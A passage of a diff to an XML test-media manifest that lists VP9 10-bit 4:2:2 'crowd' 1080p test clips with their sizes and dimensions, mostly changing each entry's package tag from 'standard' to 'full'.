-    <value>mime=video/x-vnd.on2.vp9,size=353247,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353247,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354318,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354318,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=321720,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=321720,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=323255,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=323255,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353508,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353508,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354160,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354160,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353684,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353684,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354653,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354653,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354841,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335642,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335642,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=364963,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=364963,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=262230,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=262230,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368986,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368986,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1353868,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32037,10 +32037,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=118064717,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=14568728,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32049,7 +32049,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=118064717,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5028990,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32064,151 +32064,151 @@
     <value>mime=video/x-vnd.on2.vp9,size=2163002,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=674931,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=674931,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=322460,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=322460,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87786,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87786,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353850,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353850,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353937,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353937,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354519,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354519,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353694,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353694,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353610,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353610,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354240,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354240,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353524,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353524,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=300060,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=300060,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=352880,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=352880,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353096,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353096,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353499,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353499,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=351848,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=319252,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=319252,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=322568,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=322568,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353737,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353737,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353750,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353750,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353947,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353947,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354046,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354046,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334810,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334810,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=362833,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
